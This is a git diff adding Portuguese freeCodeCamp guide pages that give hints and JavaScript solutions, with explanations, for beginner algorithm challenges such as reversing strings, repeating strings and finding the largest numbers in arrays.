+*   [String.indexOf ()](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Se tudo estiver em minúsculas, será mais fácil comparar.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Nossas strings podem ser mais fáceis de trabalhar se forem matrizes de caracteres.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   Um loop pode ajudar. Use `indexOf()` para verificar se a letra da segunda palavra está no primeiro.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+**Procedural**
+```
+function mutation(arr) { 
+  var test = arr[1].toLowerCase(); 
+  var target = arr[0].toLowerCase(); 
+  for (var i=0;i<test.length;i++) { 
+    if (target.indexOf(test[i]) < 0) 
+      return false; 
+  } 
+  return true; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/30)
+
+### Explicação do código:
+
+Primeiro fazemos as duas strings no array minúsculo. `test` irá realizar o que estamos procurando no `target` .  
+Em seguida, passamos por nossos caracteres de teste e, se algum deles não for encontrado, `return false` .
+
+Se _todos_ eles forem encontrados, o loop terminará sem retornar nada e nós `return true` .
+
+#### Links Relevantes
+
+*   [String.toLowerCase ()](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [Para loops](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+**Declarativo**
+```
+function mutation(arr) { 
+  return arr[1].toLowerCase() 
+    .split('') 
+    .every(function(letter) { 
+      return arr[0].toLowerCase() 
+        .indexOf(letter) != -1; 
+    }); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/31)
+
+### Explicação do código:
+
+Pegue a segunda corda, em minúsculas e transforme-a em uma matriz; em seguida, certifique-se de que _cada_ uma de suas _letras faça_ parte da primeira seqüência de caracteres em minúscula.
+
+`Every` um basicamente lhe dará letra por letra para comparar, o que fazemos usando `indexOf` na primeira string. `indexOf` lhe dará -1 se a `letter` atual estiver faltando. Verificamos que não é esse o caso, pois se isso acontecer uma vez, `every` será falso.
+
+#### Links Relevantes
+
+*   [Array.split ()](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Array.every ()](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md
new file mode 100644
index 0000000000..62e62e636f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md
@@ -0,0 +1,119 @@
+---
+title: Repeat a String Repeat a String
+localeTitle: Repetir uma String Repetir uma String
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+O programa é muito simples, temos que pegar uma variável e retornar essa variável sendo repetida certa quantidade de vezes. Não há necessidade de adicionar espaço ou nada, apenas continue repetindo em uma única string.
+
+#### Links Relevantes
+
+*   [Objeto String Global](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você não pode editar strings, você precisará criar uma variável para armazenar a nova string.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Crie um loop para repetir o código quantas vezes forem necessárias.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Faça a variável criada armazenar o valor atual e anexe a palavra a ela.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function repeatStringNumTimes(str, num) { 
+  var accumulatedStr = ''; 
+ 
+  while (num > 0) { 
+    accumulatedStr += str; 
+    num--; 
+  } 
+ 
+  return accumulatedStr; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/19)
+
+### Explicação do código:
+
+*   Crie uma variável de string vazia para armazenar a palavra repetida.
+*   Use um loop while ou loop para repetir o código quantas vezes `num` necessárias de acordo com
+*   Então, basta adicionar a string à variável criada na etapa um e aumentar ou diminuir `num` dependendo de como você define o loop.
+*   No final do loop, retorne a variável para a palavra repetida.
+
+#### Links Relevantes
+
+*   JS while Loop
+*   [JS For Loops Explained](https://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function repeatStringNumTimes(str, num) { 
+  if(num < 0) 
+    return ""; 
+  if(num === 1) 
+    return str; 
+  else 
+    return str + repeatStringNumTimes(str, num - 1); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/21)
+
+### Explicação do código:
+
+*   Esta solução usa recursão.
+*   Verificamos se `num` é negativo e retornamos uma string vazia se for verdade.
+*   Em seguida, verificamos se é igual a 1 e, nesse caso, retornamos a string em si.
+*   Se não, adicionamos a string a uma chamada de nossa função com `num` sendo diminuída em 1, o que adicionará outra `str` e outra .. até que, eventualmente, `num` seja 1. E retorne todo esse processo.
+
+#### Links Relevantes
+
+*   [Funções - Recursão](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function repeatStringNumTimes(str, num) { 
+  return num > 0 ? str.repeat(num) : ''; 
+ } 
+ 
+ repeatStringNumTimes("abc", 3); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/85)
+
+### Explicação do código:
+
+*   Essa solução usa uma abordagem declarativa.
+*   É semelhante à terceira solução, exceto que usa a forma do operador ternário da instrução `if` .
+
+#### Links Relevantes
+
+*   [JS Ternary](https://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md
new file mode 100644
index 0000000000..203d0d7be9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md
@@ -0,0 +1,160 @@
+---
+title: Return Largest Numbers in Arrays
+localeTitle: Retornar os maiores números em matrizes
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Você obterá uma matriz que contém sub-matrizes de números e precisará retornar uma matriz com o maior número de cada uma das sub-matrizes.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você precisará acompanhar o array com a resposta e o maior número de cada sub-array.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Você pode trabalhar com matrizes multidimensionais por `Array[Index][SubIndex]`
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Preste muita atenção ao tempo de armazenamento de variáveis ​​ao trabalhar com loops
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Soluções à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+**(Abordagem processual)**
+```
+function largestOfFour(arr) { 
+  var results = []; 
+  for (var n = 0; n < arr.length; n++) { 
+    var largestNumber = arr[n][0]; 
+    for (var sb = 1; sb < arr[n].length; sb++) { 
+      if (arr[n][sb] > largestNumber) { 
+        largestNumber = arr[n][sb]; 
+      } 
+    } 
+ 
+    results[n] = largestNumber; 
+  } 
+ 
+  return results; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/734)
+
+### Explicação do código:
+
+*   Crie uma variável para armazenar os _resultados_ como uma matriz.
+*   Crie um loop externo para percorrer a matriz externa.
+*   Crie uma segunda variável para conter o maior número e inicialize-o com o primeiro número. Isso deve estar fora de um loop interno, para que não seja reatribuído até encontrarmos um número maior.
+*   Crie o loop interno para trabalhar com os sub-arrays.
+*   Verifique se o elemento da sub-matriz é maior que o maior número armazenado atualmente. Em caso afirmativo, atualize o número na variável.
+*   Após o loop interno, salve o maior número na posição correspondente dentro da matriz de `results` .
+*   E finalmente retorne a matriz.
+
+#### Links Relevantes
+
+*   [Para loops](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+
+**(Abordagem declarativa)**
+```
+function largestOfFour(arr) { 
+  return arr.map(function(group){ 
+    return group.reduce(function(prev, current) { 
+      return (current > prev) ? current : prev; 
+    }); 
+  }); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/733)
+
+### Explicação do código:
+
+*   `Array.prototype.map()` todos os itens dentro da matriz principal para uma nova matriz usando `Array.prototype.map()` e retornamos essa matriz como o resultado final
+*   dentro de cada matriz interna, reduzimos seu conteúdo a um único valor usando `Array.prototype.reduce()`
+*   a função de retorno de chamada passada para o método reduce obtém o valor anterior e o valor atual e compara os dois valores
+*   se o valor atual for maior que o valor anterior, nós o definimos como o novo valor anterior para comparação com o próximo item dentro da matriz ou o retorna para o retorno de chamada do método de mapa se for o último item
+
+#### Links Relevantes
+
+*   [Array.prototype.map ()](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [Array.prototype.reduce ()](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [Operadores Ternários](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+
+**(Abordagem declarativa)**
+```
+function largestOfFour(arr) { 
+  return arr.map(Function.apply.bind(Math.max, null)); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/17)
+
+### Explicação do código:
+
+TL; DR: Nós construímos uma função de retorno de chamada especial (usando o `Function.bind` método), que funciona como `Math.max` mas também tem `Function.prototype.apply` capacidade de tomar matrizes como seus argumentos ![:smiley:](https://forum.freecodecamp.com/images/emoji/emoji_one/smiley.png?v=3 ":risonho:")
+
+*   Começamos mapeando os elementos dentro da matriz principal. Significado cada um dos arrays internos.
+*   Agora, a necessidade de uma função de retorno de chamada para encontrar o máximo de cada matriz interna fornecida pelo mapa.
+
+Então, queremos criar uma função que faça o trabalho de `Math.max` e aceite a entrada como uma matriz (que por padrão não é por padrão).
+
+Em outras palavras, seria muito legal e simples se isso funcionasse por si só:
+
+`Math.max([9, 43, 20, 6]); // Resulting in 43`
+
+Infelizmente, isso não acontece.
+
+*   Para fazer o trabalho de aceitar argumentos na forma de uma matriz, existe esse método `Function.prototype.apply` , mas complica um pouco as coisas _invocando_ a função de _contexto_ .
+
+ie `Math.max.apply(null, [9, 43, 20, 6]);` invocaria algo como um método `Max.max` . O que estamos procurando… quase.
+
+Aqui estamos passando `null` como o _contexto_ do método `Function.prototype.apply` como `Math.max` não precisa de nenhum contexto.
+
+*   Como o `arr.map` espera uma função de retorno de chamada, não apenas uma expressão, criamos uma função a partir da expressão anterior usando o método `Function.bind` .
+    
+*   Como `Function.prototype.apply` é um _método_ estático do mesmo _objeto_ `Function` , podemos chamar `Function.prototype.bind` em `Function.prototype.apply` ou seja, `Function.prototype.apply.bind` .
+    
+*   Agora passamos o _contexto_ para a chamada `Function.prototype.apply.bind` (nesse caso, queremos `Math.max` para que possamos obter sua funcionalidade).
+    
+*   Como o método incorporado `Function.prototype.apply` também exigirá um contexto como primeiro argumento, precisamos passar a ele um _contexto_ falso.
+    
+    *   Assim, passamos `null` como o segundo parâmetro para `Function.prototype.apply.bind` que fornece um _contexto_ para o método `Math.max` .
+        
+    *   Como o `Math.max` é independente de qualquer _contexto_ , ele ignora o _contexto_ falso dado pela chamada do método `Function.prototype.apply` .
+        
+    *   Assim, nosso `Function.prototype.apply.bind(Math.max, null)` faz uma nova função aceitando os valores de `arr.map` , isto é, os arrays internos.
+        
+
+#### Links Relevantes
+
+*   [Math.max](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
+*   [Function.prototype.apply no DevDocs](http://devdocs.io/#q=js+Function+apply)
+*   [Function.bind no DevDocs](http://devdocs.io/#q=js+Function+bind)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md
new file mode 100644
index 0000000000..fefbe73584
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md
@@ -0,0 +1,68 @@
+---
+title: Reverse a String
+localeTitle: Reverter uma string
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Precisamos pegar a corda e invertê-la, então se ela originalmente lê 'olá', ela agora vai ler 'olleh'. Precisamos dividir a string e, portanto, também trabalharemos com Arrays.
+
+#### Links Relevantes
+
+*   [str.split ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.reverse ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
+*   [arr.join ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Comece dividindo a string por caracteres.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Procure a função interna para inverter uma string.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Não se esqueça de juntar os caracteres novamente depois de revertê-los.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function reverseString(str) { 
+  return str.split('').reverse().join(''); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU)
+
+### Explicação do código:
+
+*   Nosso objetivo é pegar a entrada, `str` e retorná-la ao contrário. Nosso primeiro passo é dividir a string por caracteres usando `split('')` . Observe que não deixamos nada entre as aspas simples, isso diz à função para dividir a string por cada caractere.
+    
+*   Usar a função `split()` transformará nossa string em uma matriz de caracteres, tenha isso em mente enquanto avançamos.
+    
+*   Em seguida, _encadeamos_ a função `reverse()` , que pega nossa matriz de caracteres e os inverte.
+    
+*   Finalmente, nós _encadeamos_ `join('')` para juntar nossos caracteres em uma string. Observe mais uma vez que não deixamos espaços no argumento para join, isso garante que o array de caracteres seja unido novamente por cada caractere.
+    
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md
new file mode 100644
index 0000000000..4f229916fc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md
@@ -0,0 +1,77 @@
+---
+title: Slice and Splice
+localeTitle: Fatia e Splice
+---
+## Fatia e Splice
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Precisamos copiar cada elemento da primeira matriz para a segunda matriz, começando no índice n. Também precisamos garantir que as matrizes originais não sejam transformadas. Ou seja, não podemos fazer alterações nos arrays originais.
+
+#### Links Relevantes
+
+*   [str.slice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
+*   [str.splice ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Crie uma cópia da segunda matriz dentro da função. Isso garantirá que o array original não seja alterado. Isso pode ser feito usando a operação de fatia no segundo array e atribuí-lo a uma variável.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Faça um loop em todos os itens da primeira matriz. Para cada item na primeira matriz, junte-o na matriz copiada no índice fornecido como argumento.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Incremente o índice depois de executar a emenda.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](https://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function frankenSplice(arr1, arr2, n) { 
+  // It's alive. It's alive! 
+  let localArray = arr2.slice(); 
+  for (let i = 0; i < arr1.length; i++) { 
+    localArray.splice(n, 0, arr1[i]); 
+    n++; 
+  } 
+  return localArray; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU)
+
+### Explicação do código:
+
+*   Nosso objetivo é pegar todos os elementos de `arr1` e inseri-los em `arr2` começando com a posição de índice `n` . Ao mesmo tempo, devemos assegurar que nem `arr` ou `arr2` foram transformados.
+    
+*   Usando a função `slice()` , podemos criar uma réplica exata de `arr2` e atribuir o resultado da operação a uma variável, `localArray` .
+    
+*   Agora que temos uma matriz que podemos sofrer mutação, podemos percorrer todos os itens da primeira matriz. Para cada item na primeira matriz, podemos usar a função `splice()` para inserir o item no índice `n` de `localArray` .
+    
+*   Nós incrementamos o índice `n` por um. Isso garantirá que todos os itens da `arr1` sejam inseridos no `localArray` na posição correta do índice.
+    
+*   Finalmente, retornamos o `localArray` e terminamos a função.
+    
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md
new file mode 100644
index 0000000000..cdd315ad24
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md
@@ -0,0 +1,144 @@
+---
+title: Title Case a Sentence
+localeTitle: Title Case a Sentence
+---
